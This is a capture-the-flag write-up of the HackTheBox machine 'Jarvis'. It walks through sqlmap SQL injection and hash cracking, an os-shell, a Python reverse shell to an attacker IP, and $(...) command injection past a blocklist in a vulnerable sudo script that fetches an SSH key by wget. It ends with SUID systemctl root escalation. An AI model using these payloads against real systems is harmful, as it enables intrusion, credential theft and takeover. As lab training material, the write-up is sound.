HTB: Jarvis
Posted on 10 Nov 2019 in security • 7 min read
This is a writeup about a retired HacktheBox machine: Jarvis. This box is rated as a medium box. It implies a dead end, some SQL injection, a homemade script and a SUID binary.
[TOC]
Recon
Let us start as always by a nmap
scan the ports 22 (SSH), 80 (HTTP) and 64999
are open:
nmap -p- 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-03 13:46 CEST
Stats: 0:01:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 62.32% done; ETC: 13:48 (0:00:42 remaining)
Stats: 0:01:12 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 66.39% done; ETC: 13:48 (0:00:36 remaining)
Nmap scan report for 10.10.10.143
Host is up (0.093s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
64999/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 101.63 seconds
Let us see what services are running on this ports (especially the last one). It a simple HTTP service.
nmap -p 22,80,64999 -sSV 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-03 13:51 CEST
Nmap scan report for 10.10.10.143
Host is up (0.088s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
64999/tcp open http Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.80 seconds
Web
On port 64999
The page on the web service on port 64999 is only saying that we have been banned for 90 seconds.
curl http://10.10.10.143:64999/
Hey you have been banned for 90 seconds, don't be bad
On port 80
The website is a "classical" hotel homepage.
We can checkout rooms. We notice that there is a cod
GET parameter (in the
URL).
Moreover if we put a -1
at the end of the URL we get to the previous room. For
instance the URL http://10.10.10.143/room.php?cod=5-1
give us exactly the same
room as the http://10.10.10.143/room.php?cod=4
URL. This is symptomatic of an
SQL injection.
Getting user
We launch sqlmap
against the page, it confirm the SQL injection:
sqlmap -u http://10.10.10.143/room.php?cod=5-1
<SNIP>
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=5-1 AND 9103=9103
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=5-1 AND (SELECT 1494 FROM (SELECT(SLEEP(5)))doUk)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-8368 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a707871,0x727a50526445566e634476524a594655416e436156515a667a77797962676967515668766e6e626c,0x71707a7671),NULL-- AwXR
---
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
We list the available database:
- hotel
- infomration_schema
- mysq
- performance_schema
The SQLmap command is the following:
sqlmap -u http://10.10.10.143/room.php?cod=5-1 --dbs
available databases [4]:
[*] hotel
[*] information_schema
[*] mysql
[*] performance_schema
We list the table for the hotel
database and dump it, nothing interesting.
sqlmap -u http://10.10.10.143/room.php?cod=5-1 -D hotel --tables
Database: hotel
[1 table]
+------+
| room |
+------+
sqlmap -u http://10.10.10.143/room.php?cod=5-1 -D hotel --dump
Database: hotel
Table: room
[6 entries]
<SNIP>
We dump the mysqluser table and crack the password hash (with the sqlmap cracking function):
sqlmap -u http://10.10.10.143/room.php?cod=5-1 -D mysql -T user --dump
Database: mysql
Table: user
[1 entry]
*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 (imissyou)
We can then connect to the phpmyadmin as DBadmin:
This does not give us a shell. Let us try something different: the --os-shell
option from sqlmap
. We got a shell!
sqlmap -u http://10.10.10.143/room.php?cod=5-1 --os-shell
os-shell> id
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
We start enumeration a bit and found that we can call a binary as the pepper
user with sudo
.
os-shell> ls /home/
command standard output: 'pepper'
os-shell> ls /home/pepper/
command standard output:
---
Web
user.txt
---
os-shell> cat /home/pepper/user.txt
command standard output: 'cat: /home/pepper/user.txt: Permission denied'
os-shell> ls -al /home/pepper/
command standard output:
---
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 .
drwxr-xr-x 3 root root 4096 Mar 2 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano
-rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
---
os-shell> sudo -l
command standard output:
---
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
---
In oder to have a better shell, we use a python reverseshell:
export RHOST="10.10.15.31";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
$ sudo -u pepper /var/www/Admin-Utilities/simpler.py
The simpler.py
script is the following:
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)
def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''')
def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()
print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1
print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()
def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req
def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]
def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
We notice the exec_ping
function calling os.system()
. As there is forbidden
character we cannot simply execute a second command (with a ;
or a &&
).
Nevertheless we can try to ping the result of a command with the following
$(<command>)
.
We mount a python web server with our ssh public key renamed authorized\_keys
and
download it from the box:
Enter an IP: $(wget 10.10.15.31:8080/authorized_keys)
We then create the .ssh
folder in pepper home and move the key:
Enter an IP: $(mkdir /home/pepper/.ssh)
Enter an IP: $(mv authorized_keys /home/pepper/.ssh/)
We can then connect to the box with ssh and get the user flag:
ssh -lpepper 10.10.10.143
Linux jarvis 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64
<SNIP>
Last login: Thu Oct 3 09:38:52 2019 from 10.10.15.31
pepper@jarvis:~$ cat user.txt
2afa36<redacted>
Let's get root
We enumerate the box as always. We found that the systemctl binary is SUID.
pepper@jarvis:~$ find / -uid 0 -perm -4000 -type f 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
GTFOBins show how to exploit that misconfiguration. First we create a temporary file:
pepper@jarvis:~$ TF=$(mktemp).service
We write a service file inside. This service run the command id
and put the
result in a file:
pepper@jarvis:~$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "id > /tmp/output"
> [Install]
> WantedBy=multi-user.target' > $TF
We link the service using sysemctl:
pepper@jarvis:~$ /bin/systemctl link $TF
Created symlink /etc/systemd/system/tmp.iyGBjTyKtn.service → /tmp/tmp.iyGBjTyKtn.service.
We start the service using sysemctl:
pepper@jarvis:~$ /bin/systemctl enable --now $TF
Created symlink /etc/systemd/system/multi-user.target.wants/tmp.iyGBjTyKtn.service → /tmp/tmp.iyGBjTyKtn.service.
We get the result of the id
command in /tmp/output
.
pepper@jarvis:~$ cat /tmp/output
uid=0(root) gid=0(root) groups=0(root)
The command was executed. Now we create a second service which will output the root's flag:
pepper@jarvis:~$ TF2=$(mktemp).service
pepper@jarvis:~$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
> [Install]
> WantedBy=multi-user.target' > $TF2
pepper@jarvis:~$ /bin/systemctl link $TF2
Created symlink /etc/systemd/system/tmp.ZcSgmH8PDr.service → /tmp/tmp.ZcSgmH8PDr.service.
pepper@jarvis:~$ /bin/systemctl enable --now $TF2
Created symlink /etc/systemd/system/multi-user.target.wants/tmp.ZcSgmH8PDr.service → /tmp/tmp.ZcSgmH8PDr.service.
pepper@jarvis:~$ cat /tmp/output
d41d8<redacted>
Wrapping up
This box was a nice one. It has been a long time since my last usage of
sqlmap --os-shell
command.
The movement from www-data
to pepper
was easy and the privilege
escalation let me learn new things about systemd.